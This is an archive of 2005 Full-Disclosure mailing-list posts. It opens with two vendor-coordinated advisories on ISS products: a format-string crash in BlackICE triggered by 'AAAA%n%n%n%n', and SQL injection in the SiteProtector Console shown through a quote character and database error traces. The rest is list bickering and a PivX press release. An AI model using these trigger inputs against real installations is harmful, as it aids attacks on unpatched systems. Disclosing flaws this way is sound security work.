Copyright (c) 2005 by [ISR] Infobyte Security Research.
Permission to redistribute this alert electronically is granted as long as
it is not
edited in any way unless authorized by Infobyte Security Research Response.
Reprinting the whole or part of this alert in any medium other than
electronically
requires permission from infobyte com ar

Disclaimer
The information in the advisory is believed to be accurate at the time of
publishing
based on currently available information. Use of the information constitutes
acceptance
for use in an AS IS condition. There are no warranties with regard to this
information.
Neither the author nor the publisher accepts any liability for any direct,
indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [ISR] - Internet Security Systems, RealSecure Desktop and BlackICE PC Protection Format String

From: Francisco Amato (famatoinfobyte.com.ar)
Date: Fri Apr 08 2005 - 14:24:46 CDT


||
|| [ISR]
|| Infobyte Security Research
|| www.infobyte.com.ar
|| 04.08.2005
||

.:: SUMMARY

ISS - Internet Security Systems, RealSecure Desktop and BlackICE PC Protection
Format String

Version: BlackIce 7.0.322, It is suspected that all previous versions of BlackIce
are vulnerable.

.:: BACKGROUND

BlackICE products provide Intrusion Detection, personal firewall, and application protection.

    http://www.iss.com

.:: DESCRIPTION

A local format string vulnerability affect RealSecure Desktop and BlackICE PC Protection
This issue is due to a failure of the application to securely copy user-supplied data into
field name of rules that user create.

Buffer used: AAAA%n%n%n%n

Information of Registers:
EAX 41414141
ECX 00000004
EDX 00000200
EBX 0000006E
ESP 0012E578
EBP 0012E7D0
ESI 0012E82A ASCII "%n, "
EDI 00000800
EIP 7800FB05 MSVCRT.7800FB05
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_ALREADY_EXISTS (000000B7)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -NAN FFFF FFF8FCF8 FFF8FCF8
ST1 empty -??? FFFF 00000000 00000000
ST2 empty -??? FFFF 00FE00F7 00FB00F7
ST3 empty -??? FFFF 00FE00F7 00FB00F7
ST4 empty -NAN FFFF FFF8FCF8 FFF8FCF8
ST5 empty -??? FFFF 00FF00F8 00FC00F8
ST6 empty -??? FFFF 00000000 00000000
ST7 empty -??? FFFF 00800080 00800080
               3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

.:: EXTRA

We did not find any way to gain additional privileges

.:: DISCLOSURE TIMELINE

03/22/2005 Initial vendor notification
03/25/2005 Initial vendor response
04/08/2005 Public disclosure

.:: CREDIT

Francisco Amato is credited with discovering this vulnerability.
famato][at][infobyte][dot][com][dot][ar

.:: LEGAL NOTICES

Copyright (c) 2005 by [ISR] Infobyte Security Research.
Permission to redistribute this alert electronically is granted as long as it is not
edited in any way unless authorized by Infobyte Security Research Response.
Reprinting the whole or part of this alert in any medium other than electronically
requires permission from infobyte com ar

Disclaimer
The information in the advisory is believed to be accurate at the time of publishing
based on currently available information. Use of the information constitutes acceptance
for use in an AS IS condition. There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [ISR] - SiteProtector Console Sql-Injection

From: Francisco Amato (famatoinfobyte.com.ar)
Date: Fri Apr 08 2005 - 14:25:29 CDT


||
|| [ISR]
|| Infobyte Security Research
|| www.infobyte.com.ar
|| 04.08.2005
||

.:: SUMMARY

ISS - SiteProtector Console Sql-Injection

Version: 2.0.5.690, It is suspected that all previous versions of
SiteProtector Console
are vulnerable.

.:: BACKGROUND

SiteProtector is a security management system that provides a centralized
view and analysis of network,
server, and desktop protection agents and appliances.

    http://www.iss.com

.:: DESCRIPTION

A Sql-injection vulnerability affect SiteProtector Console
This issue is due to a failure of the application to securely copy
user-supplied data into
fields "Tag Name" and "Object Name" of Incidents/Exception that user create
or modify.

Simple string use: "'"

Error that display when it make the injection:

######################BEGIN############################

A Database or SQL Error occurred while working with Site Rules.
net.iss.rssp.gui.site.analysis.exceptions.CommonSiteRuleException
 at
net.iss.rssp.gui.site.analysis.AnalysisDataManager.throwCommonSiteRuleExcept
ion(AnalysisDataManager.java:442)
 at
net.iss.rssp.gui.site.analysis.AnalysisDataManager.createSiteFilter(Analysis
DataManager.java:350)
 at
net.iss.rssp.gui.site.analysis.command.AddEditSiteRuleCommand.execute(AddEdi
tSiteRuleCommand.java:48)
 at
net.iss.command.CommandTemplate.templateExecute(CommandTemplate.java:179)
 at net.iss.command.CommandHandler.executeCommand(CommandHandler.java:148)
 at net.iss.command.CommandHandler.run(CommandHandler.java:116)

A database error occurred in the method "createNewSiteRule".
net.iss.rssp.entity.exceptions.SiteRuleException
 at
net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
357)
 at
net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
rImpl.java:211)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at
net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
a:22)
 at
net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
:114)
 at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
 at sun.rmi.transport.Transport$1.run(Unknown Source)
 at java.security.AccessController.doPrivileged(Native Method)
 at sun.rmi.transport.Transport.serviceCall(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
 at java.lang.Thread.run(Unknown Source)

Database Error
 SQL State = 42000
 Vendor code = 105
 Vendor msg = [42000][Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the character
string '')
 AND NOT EXISTS (SELECT 1
  FROM ObservanceSiteFilters OSF WITH (NOLOCK)
  WHERE OSF.ObservanceID = OB.ObservanceID
  AND OSF.SiteFilterRuleID = 853)'.

net.iss.rssp.db.DataAccessException
 at
net.iss.rssp.server.database.DatabaseObjectHandlerBase.handleSQLException(Da
tabaseObjectHandlerBase.java:75)
 at
net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
134)
 at
net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
348)
 at
net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
rImpl.java:211)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at
net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
a:22)
 at
net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
:114)
 at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
 at sun.rmi.transport.Transport$1.run(Unknown Source)
 at java.security.AccessController.doPrivileged(Native Method)
 at sun.rmi.transport.Transport.serviceCall(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
 at java.lang.Thread.run(Unknown Source)

Error Inserting into table ObservanceSiteFilters Code: 52000 DB Key: 0

java.sql.SQLException: [42000][Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the
character string '')
 AND NOT EXISTS (SELECT 1
  FROM ObservanceSiteFilters OSF WITH (NOLOCK)
  WHERE OSF.ObservanceID = OB.ObservanceID
  AND OSF.SiteFilterRuleID = 853)'.

 at ids.sql.IDSSocket.error(IDSSocket.java:325)
 at ids.sql.IDSSocket.verify(IDSSocket.java:270)
 at ids.sql.IDSPrepared.execute(IDSPrepared.java:578)
 at ids.sql.IDSPrepared.execute(IDSPrepared.java:559)
 at
net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
103)
 at
net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
348)
 at
net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
rImpl.java:211)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at
net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
a:22)
 at
net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
:114)
 at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
 at sun.rmi.transport.Transport$1.run(Unknown Source)
 at java.security.AccessController.doPrivileged(Native Method)
 at sun.rmi.transport.Transport.serviceCall(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
 at java.lang.Thread.run(Unknown Source)

java.sql.SQLException: [42000][Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the
character string '')
 AND NOT EXISTS (SELECT 1
  FROM ObservanceSiteFilters OSF WITH (NOLOCK)
  WHERE OSF.ObservanceID = OB.ObservanceID
  AND OSF.SiteFilterRuleID = 853)'.

 at ids.sql.IDSSocket.error(IDSSocket.java:325)
 at ids.sql.IDSSocket.verify(IDSSocket.java:270)
 at ids.sql.IDSPrepared.execute(IDSPrepared.java:578)
 at ids.sql.IDSPrepared.execute(IDSPrepared.java:559)
 at
net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
103)
 at
net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
348)
 at
net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
rImpl.java:211)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at
net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
a:22)
 at
net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
:114)
 at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
 at sun.rmi.transport.Transport$1.run(Unknown Source)
 at java.security.AccessController.doPrivileged(Native Method)
 at sun.rmi.transport.Transport.serviceCall(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
 at java.lang.Thread.run(Unknown Source)

java.sql.SQLException: [42000][Microsoft][ODBC SQL Server Driver][SQL
Server]Line 10: Incorrect syntax near '')
 AND NOT EXISTS (SELECT 1
  FROM ObservanceSiteFilters OSF WITH (NOLOCK)
  WHERE OSF.ObservanceID = OB.ObservanceID
  AND O'.

 at ids.sql.IDSSocket.error(IDSSocket.java:325)
 at ids.sql.IDSSocket.verify(IDSSocket.java:270)
 at ids.sql.IDSPrepared.execute(IDSPrepared.java:578)
 at ids.sql.IDSPrepared.execute(IDSPrepared.java:559)
 at
net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
103)
 at
net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
348)
 at
net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
rImpl.java:211)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at
net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
a:22)
 at
net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
:114)
 at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
 at sun.rmi.transport.Transport$1.run(Unknown Source)
 at java.security.AccessController.doPrivileged(Native Method)
 at sun.rmi.transport.Transport.serviceCall(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
 at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
 at java.lang.Thread.run(Unknown Source)

#######################END#############################

.:: EXTRA

We did not find any way to perform any unautorized actions or gain
additional privileges

.:: DISCLOSURE TIMELINE

04/01/2005 Initial vendor notification
04/06/2005 Initial vendor response
04/08/2005 Public disclosure

.:: CREDIT

Francisco Amato is credited with discovering this vulnerability.
famato][at][infobyte][dot][com][dot][ar

.:: LEGAL NOTICES

Copyright (c) 2005 by [ISR] Infobyte Security Research.
Permission to redistribute this alert electronically is granted as long as
it is not
edited in any way unless authorized by Infobyte Security Research Response.
Reprinting the whole or part of this alert in any medium other than
electronically
requires permission from infobyte com ar

Disclaimer
The information in the advisory is believed to be accurate at the time of
publishing
based on currently available information. Use of the information constitutes
acceptance
for use in an AS IS condition. There are no warranties with regard to this
information.
Neither the author nor the publisher accepts any liability for any direct,
indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] Re: Case ID 51560370 - Notice ofClaimedInfringement

From: Jason Coombs (jasoncscience.org)
Date: Fri Apr 08 2005 - 14:54:10 CDT


> The content inside is still fully usable
> and valid but a violation cannot be
> confirmed without yourself violating
> the law.

First of all, what law do you believe is violated by 'downloading' an unauthorized MP3 duplication of a recording?

Fair use doctrine covers this situation in a number of ways. For example, you do not violate copyright by downloading a file in order to find out what it is and where it came from, any more than you violate copyright by tuning into a radio broadcast. Somebody ELSE violates copyright if they broadcast a copyright-protected work, or distribute copies for download. You, as downloader, are fully within the fair use doctrine if you just receive, contemplate, and destroy upon recognizing that the work was not distributed by an authorized distributor/broadcaster.

How do you know what is and isn't authorized? Are you required to judge a book by its cover, even though the cover is nothing more than a filename in these cases? You are fully within the fair use doctrine if you download for the sole purpose of causing your computer to examine metadata that may allow you to determine the content, or if you contemplate the content with your senses by playback or access -- when and if you are satisfied that you have received a work that perhaps has not been duly licensed, you are in fact free to locate the copyright holder and negotiate a license.

Furthermore, in the get-a-clue department once again, the people who are doing the downloading to assist copyright holders with enforcement actions or investigations HAVE WRITTEN PERMISSION and therefore cannot be accused of violating the law by doing the download.

Why do people insist on spreading FUD when these are simple matters of intellectual property law and contract law that any person above the mental age of 14 has no trouble understanding when the facts are presented clearly?

Cheers,

Jason Coombs
jasoncscience.org
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Re: [Full-disclosure] How to Report a Security Vulnerability to Microsoft

From: Georgi Guninski (guninskiguninski.com)
Date: Fri Apr 08 2005 - 15:17:08 CDT


On Fri, Apr 08, 2005 at 12:21:05PM -0700, Microsoft Security Response Center wrote:
> If you believe you have found a security vulnerability affecting a
> Microsoft product, we would like to work with you to investigate it.
>

hahahahahaha

m$ doing social engineering on fd, this is a joke.

basically they want your 0days so billg becomes more rich.

--
where do you want bill gates to go today?
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Re: [Full-disclosure] I need uh Qwik-Fix please sho 'nuff!

From: Jason Coombs (jasoncscience.org)
Date: Fri Apr 08 2005 - 15:20:39 CDT


I'm glad you wrote again, 'Lor'.

You missed the press release? Or maybe you fail to comprehend good news when you see it.

I'll send a copy of the press release. Please let us all know what you think.

Sincerely,

Jason Coombs
jasoncscience.org

-----Original Message-----
From: <lor.tharholmhushmail.com>
Date: Fri, 8 Apr 2005 11:59:43
To:full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] I need uh Qwik-Fix please sho 'nuff!

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>You and I couldn't possibly build what PivX has built in terms of
>professional corporate structure, public NASDAQ stock exchange
>listing, business relationships and loyal partners, qualified
>employees, paying customers, etc for anything less than PivX has
>spent to get where it is today, with its existing problems-and-

OTC BB:PIVX.OB YOU TO RED EYE BATTYBWOY

Singer Lewak Greenbaum & Goldstein LLP ("Singer") resigned
substantial doubt about the Company's ability to continue as a
going concern.

Robert N. Shively resigned as President, Treasurer, Chief Executive
Officer and Acting Chief Financial Officer

Geoff Shively resigned as Chief Scientist and a director of the
Company

>I will gladly testify at your criminal trial as to the technical
>and forensic issues that disprove your assertions of wrongdoing by
>PivX. I have an intimate understanding of these issues, and of
>this company.

SINSEMILLA SKIN YOUR TEETH WHOLE HEAP YA NUH SEE?

                .:.
                        :|:
                       .:|:.
                       ::|::
        :. ::|:: .:
        :|:. .::|::. .:|:
        ::|:. :::|::: .:|:;
        `::|:. :::|::: .:|::'
         ::|::. :::|::: .::|:;
         `::|::. :::|::: .::|::'
          :::|::. :::|::: .::| ::;
          `:::|::. :::|::: .::|::;'
 `::. `:::|::. :::|::: .::|::;' .:;'
  `:::.. ?::|::. :::|::: .::|::? ..::;'
    `:::::. ':|::. :::|::: .::|:' ,::::;'
      `:::::. ':|:::::|:::::|:' :::::;'
        `:::::.:::::|::::|::::|::::.,:::;'
           ':::::::::|:::|:::|:::::::;:'
              ':::::::|::|::|:::::::''
                   `::::::::::;'
                  .:;'' ::: ``::.
                       :':':

CHA!
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJW1J0ACgkQTrOyScgyfI6yigCaAq1VpeORHelde9Jv7Li4I794i50A
niFcjfTs1VCi8YTaw/s7f1wjxyrr
=M7BN
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

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[Full-disclosure] Lotus Fund Acquires Controlling Interest in PIVX Solutions

From: Jason Coombs (jasoncscience.org)
Date: Fri Apr 08 2005 - 15:22:06 CDT


Lotus Fund Acquires Controlling Interest in PIVX Solutions From
Co-Founders; Seeks to Leverage Company's Unique Windows Security Technology

NEWPORT BEACH, Calif.--(BUSINESS WIRE)--April 7, 2005--PIVX Solutions,
Inc. (OTCBB:PIVX), the leader in next generation Windows Host-Based
Intrusion Prevention software, announces today that the private equity
firm Lotus Fund has increased their holdings in PIVX to become the
controlling shareholder of the company.

"We are very excited about the IT security industry, and we view host
intrusion prevention as the next significant area of growth within that
industry," said Tydus Richards, director at Lotus Fund and the new
Chairman of the Board at PIVX. "We evaluated many different companies in
this space and are impressed with the technology, the team and the
momentum at PIVX. Given the continually growing threats to PC users,
PIVX's products provide the protection that Windows users must have to
be truly protected against hackers and the malware they deploy. The
co-founders of PIVX have a legacy to be proud of and now we are
assembling the team to take the Company to the next level."

The company's primary software product, Qwik-Fix Pro, is designed to
proactively block known and unknown software threats in all versions of
Microsoft Windows and Internet Explorer. Using Active System Hardening
technology, Qwik-Fix Pro combines automatic remediation of critical
software security flaws with targeted configuration management. This
host-based technology is driven by world-class security research and
mitigates critical software vulnerabilities well before Microsoft
releases a patch or an anti-virus signature is written.

"Defective software represents the greatest security risk facing
organizations today. With tens of millions of lines of code in Microsoft
Windows, the potential for abuse is extremely high and will continue to
plague industries that rely upon this platform," said PIVX CTO, Alex
Tosheff. "Windows users must take a different approach to mitigating
this risk and by using a product like Qwik-Fix Pro as a key component in
a layered-security approach, they can achieve the best possible
protection against the greatest number of threats. In many cases, we are
providing the 'patch before the patch.'"

"We are very pleased that we are having success on multiple fronts,"
said Luis Curet, Interim CEO and senior vice president of sales and
marketing at PIVX. "We are seeing increased traction within our OEM,
International, Enterprise, Consumer and Forensic Services groups. It is
clear that companies understand the unique value proposition that we
provide. In addition, we're seeing a huge number of downloads of
Pre>View, our recently launched security scorecard application for
Windows computers."

PIVX will hold an investor conference call at 4:15 p.m. Eastern Standard
Time on Thursday, April 14, 2005. PIVX Solution's Chairman of the Board
Tydus Richards and PIVX's Interim CEO Luis Curet will host the call.

     To hear the conference call as it takes place:

     -- Call 1-800-434-1335 in the United States or Canada or;

     -- Call 1-404-920-6620 in the Atlanta Area or Internationally

     -- Pin Code: 646636

     -- Exclusive: For Expedited Entry into the Conference: Please
         register via this link for your Direct Access 800 number.
         www.AccuConference.com/PIVX

To hear a recording of the call (available immediately following the
call by telephone for 30 days after the call takes place):

     -- Call 1-800-977-8002 in the United States or Canada or;

     -- Call 1-404-920-6650 in the Atlanta Area or Internationally

     -- Pin Code: Press * then 646636

     About PIVX

PIVX Solutions, Inc. (OTCBB:PIVX) is a security research product and
services company that leverages its domain knowledge to increase the
security of corporate PCs and servers and the Internet infrastructure.
PIVX also conducts highly confidential security-related work on behalf
of some of the world's largest corporations. PIVX research has
identified multiple vulnerabilities and ways to exploit many of the
worlds widely used Operating Systems and software including Microsoft
Windows, Microsoft IIS, Unreal Engine, Microsoft Internet Explorer,
Cisco IOS and Turbo Tax.

For more information, please visit www.pivx.com or call 949-999-1600.

Forward-Looking Statements

The statements contained in this press release that are not historical
are "forward-looking statements" within the meaning of Section 27A of
the Securities Act of 1933, as amended (the "Securities Act"), and
Section 21E of the Securities Exchange Act of 1934, as amended (the
"Exchange Act"), including statements, without limitation, regarding our
expectations, beliefs, intentions or strategies regarding the future.
PIVX intends that such forward-looking statements be subject to the
safe-harbor provided by the Private Securities Litigation Reform Act of
1995. Such forward-looking statements relate to, among other things: (1)
PIVX's successful integration of Threat Focus; (2) PIVX's expected
revenue and earnings growth; and (3) estimates regarding the size of
target markets. These statements are qualified by important factors that
could cause PIVX actual results to differ materially from those
reflected by the forward-looking statements. Such factors include but
are not limited to: (1) PIVX's ability to obtain development financing
as and when needed, (2) PIVX's ability to generate and sustain
profitable operations; (3) the market's acceptance of PIVX's products
and services; (4) significant competition from other network security
companies and operating system providers with significantly greater
technological, marketing and financial resources, and (5) PIVX's ability
to protect its intellectual property. These statements, and other
forward-looking statements, are not guarantees of future performance and
involve risks and uncertainties as more fully described in the Company's
periodic filings with the Securities and Exchange Commission.

     CONTACT: Redwood Consultants, LLC
              Jens Dalsgaard, 415-884-0348
              JNSDaol.com

     SOURCE: PIVX Solutions, Inc.
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Re: [Full-disclosure] I need uh Qwik-Fix please sho 'nuff!

From: Danny (nocmonkeygmail.com)
Date: Fri Apr 08 2005 - 15:26:20 CDT


On Apr 8, 2005 2:59 PM, lor.tharholmhushmail.com
<lor.tharholmhushmail.com> wrote:
> .:.
> :|:
> .:|:.
> ::|::
> :. ::|:: .:
> :|:. .::|::. .:|:
> ::|:. :::|::: .:|:;
> `::|:. :::|::: .:|::'
> ::|::. :::|::: .::|:;
> `::|::. :::|::: .::|::'
> :::|::. :::|::: .::| ::;
> `:::|::. :::|::: .::|::;'
> `::. `:::|::. :::|::: .::|::;' .:;'
> `:::.. ?::|::. :::|::: .::|::? ..::;'
> `:::::. ':|::. :::|::: .::|:' ,::::;'
> `:::::. ':|:::::|:::::|:' :::::;'
> `:::::.:::::|::::|::::|::::.,:::;'
> ':::::::::|:::|:::|:::::::;:'
> ':::::::|::|::|:::::::''
> `::::::::::;'
> .:;'' ::: ``::.
> :':':
>
> CHA!

Check out http://www.marijuanaparty.com/

High fives,

Ketchup Eyes
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Re: [Full-disclosure] How to Report a Security Vulnerability to Microsoft

From: Micheal Espinola Jr (michealespinolagmail.com)
Date: Fri Apr 08 2005 - 15:26:27 CDT


On Apr 8, 2005 4:17 PM, Georgi Guninski <guninskiguninski.com> wrote:

> On Fri, Apr 08, 2005 at 12:21:05PM -0700, Microsoft Security Response
> Center wrote:
> > If you believe you have found a security vulnerability affecting a
> > Microsoft product, we would like to work with you to investigate it.
> >
>
> hahahahahaha
>
> m$ doing social engineering on fd, this is a joke.
>
> *You would rather they ignore the issue?*
 
> basically they want your 0days so billg becomes more rich.
>
> *Wow, jealous much?*
 
> --
> where do you want bill gates to go today?
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

--
ME2

_______________________________________________
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Re: [Full-disclosure] Lotus Fund Acquires Controlling Interest in PIVX Solutions

From: Danny (nocmonkeygmail.com)
Date: Fri Apr 08 2005 - 15:30:38 CDT


On Apr 8, 2005 4:16 PM, Jason Coombs <jasoncscience.org> wrote:
> Lotus Fund Acquires Controlling Interest in PIVX Solutions From
> Co-Founders; Seeks to Leverage Company's Unique Windows Security Technology
>
> NEWPORT BEACH, Calif.--(BUSINESS WIRE)--April 7, 2005--PIVX Solutions,
> Inc. (OTCBB:PIVX), the leader in next generation Windows Host-Based
> Intrusion Prevention software, announces today that the private equity
> firm Lotus Fund has increased their holdings in PIVX to become the
> controlling shareholder of the company.
>
> "We are very excited about the IT security industry, and we view host
> intrusion prevention as the next significant area of growth within that
> industry," said Tydus Richards, director at Lotus Fund and the new
> Chairman of the Board at PIVX. "We evaluated many different companies in
> this space and are impressed with the technology, the team and the
> momentum at PIVX. Given the continually growing threats to PC users,
> PIVX's products provide the protection that Windows users must have to
> be truly protected against hackers and the malware they deploy. The
> co-founders of PIVX have a legacy to be proud of and now we are
> assembling the team to take the Company to the next level."
>
> The company's primary software product, Qwik-Fix Pro, is designed to
> proactively block known and unknown software threats in all versions of
> Microsoft Windows and Internet Explorer. Using Active System Hardening
[...]

What is this a press release mailing list? Full-pivx-disclosure?

PIVX gives my Windows box a hard-on-ing.

...D
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Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Jason Coombs (jasoncscience.org)
Date: Fri Apr 08 2005 - 15:41:31 CDT


Georgi Guninski wrote:
> basically they want your 0days
> so billg becomes more rich.

Aloha, Georgi.

If only it were a simple business motive, everyone could dismiss it as such.

The real motive is more sinister.

Microsoft wants to perpetuate the misperception that secrecy makes people safer.

You and I and much of FD know this is not true, and anyone who has been in business for any length of time knows that if we could only disclose our secrets without having our lives destroyed as a result, we could prove beyond any doubt that business is the most harmful force of destruction that exists today.

We all go on with our daily lives believing that our neighbor won't harm themselves by disclosing their secrets, so we don't disclose ours. It is a perpetual stalemate.

Business depends on secrets for viability.

Without business, governments collapse and the World enters War Version 3.

Coincidence that Microsoft gets everything right on the third try?

Microsoft is attempting nothing short of social engineering to spread the worldwide belief that business stability equals safety for all.

Microsoft has grown influential enough that they now care deeply about world stability. They depend on it for profit growth, in fact.

The fact is, a world war is far more likely when secrets become compulsory. When good people become afraid to speak the truth, war is guaranteed.

Microsoft won't believe this until it is too late. Therefore, good people must stand up now and speak the truth.

MICROSOFT: STOP THE WAR! NO MORE SECRETS!

Regards, and best wishes,

Jason Coombs
jasoncscience.org

-----Original Message-----
From: Georgi Guninski <guninskiguninski.com>
Date: Fri, 8 Apr 2005 23:17:08
To:full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] How to Report a Security Vulnerability to
        Microsoft

On Fri, Apr 08, 2005 at 12:21:05PM -0700, Microsoft Security Response Center wrote:
> If you believe you have found a security vulnerability affecting a
> Microsoft product, we would like to work with you to investigate it.
>

hahahahahaha

m$ doing social engineering on fd, this is a joke.

basically they want your 0days so billg becomes more rich.

--
where do you want bill gates to go today?
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] Lotus Fund Acquires Controlling Interest in PIVX Solutions

From: Jason Coombs (jasoncscience.org)
Date: Fri Apr 08 2005 - 15:47:38 CDT


nocmonkeygmail.com wrote:
> What is this a press release mailing
> list? Full-pivx-disclosure?

So it's okay for anonymous cowards who want to perpetrate financial crimes to post nonsense to the list, but I'm not allowed to?

Nice.

Jason Coombs
jasoncscience.org
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Re: [Full-disclosure] Lotus Fund Acquires Controlling Interest in PIVX Solutions

From: Danny (nocmonkeygmail.com)
Date: Fri Apr 08 2005 - 16:05:06 CDT


